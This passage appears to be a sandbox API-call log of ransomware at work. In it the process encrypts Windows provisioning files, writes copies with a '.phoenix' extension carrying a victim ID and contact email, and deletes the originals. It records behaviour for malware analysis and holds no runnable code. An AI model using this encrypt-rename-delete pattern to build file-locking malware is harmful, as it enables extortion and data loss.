	[0236.235] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.235] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.235] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.235] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.236] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0236.236] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.236] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2ce, lpOverlapped=0x0) returned 1
	[0236.284] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0236.284] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0236.287] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0236.287] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.287] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0236.287] CryptDestroyKey (hKey=0x151380) returned 1
	[0236.287] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0236.287] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0236.287] CloseHandle (hObject=0x2c0) returned 1
	[0236.287] CloseHandle (hObject=0x2f0) returned 1
	[0236.287] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml")) returned 1
	[0236.288] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0236.288] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.289] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=854) returned 1
	[0236.289] CloseHandle (hObject=0x2f0) returned 1
	[0236.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0236.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.290] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.290] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.290] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.290] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.290] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0236.290] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.290] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x356, lpOverlapped=0x0) returned 1
	[0236.293] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0236.293] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0236.294] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1516c0) returned 1
	[0236.294] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.294] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0236.294] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0236.294] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0236.295] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0236.295] CloseHandle (hObject=0x2f0) returned 1
	[0236.295] CloseHandle (hObject=0x2c0) returned 1
	[0236.295] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml")) returned 1
	[0236.296] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0236.296] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.296] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=842) returned 1
	[0236.296] CloseHandle (hObject=0x2c0) returned 1
	[0236.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0236.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.297] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.297] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.297] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.297] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.300] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0236.300] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.300] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x34a, lpOverlapped=0x0) returned 1
	[0236.303] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0236.303] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0236.304] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0236.304] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.304] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0236.304] CryptDestroyKey (hKey=0x151240) returned 1
	[0236.304] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0236.304] CryptDestroyKey (hKey=0x151080) returned 1
	[0236.304] CloseHandle (hObject=0x2c0) returned 1
	[0236.304] CloseHandle (hObject=0x2f0) returned 1
	[0236.304] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml")) returned 1
	[0236.305] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0236.305] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.306] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=838) returned 1
	[0236.306] CloseHandle (hObject=0x2f0) returned 1
	[0236.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0236.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.306] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.306] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.306] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.306] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.306] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151380) returned 1
	[0236.306] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.307] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x346, lpOverlapped=0x0) returned 1
	[0236.309] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0236.309] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0236.309] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0236.309] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.310] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0236.310] CryptDestroyKey (hKey=0x151500) returned 1
	[0236.310] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0236.310] CryptDestroyKey (hKey=0x151380) returned 1
	[0236.310] CloseHandle (hObject=0x2f0) returned 1
	[0236.310] CloseHandle (hObject=0x2c0) returned 1
	[0236.310] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml")) returned 1
	[0236.311] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0236.311] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.312] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=847) returned 1
	[0236.312] CloseHandle (hObject=0x2c0) returned 1
	[0236.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml")) returned 0x20
	[0236.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.312] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.312] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.312] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.312] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.313] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1514c0) returned 1
	[0236.313] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.313] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x34f, lpOverlapped=0x0) returned 1
	[0236.315] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0236.315] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
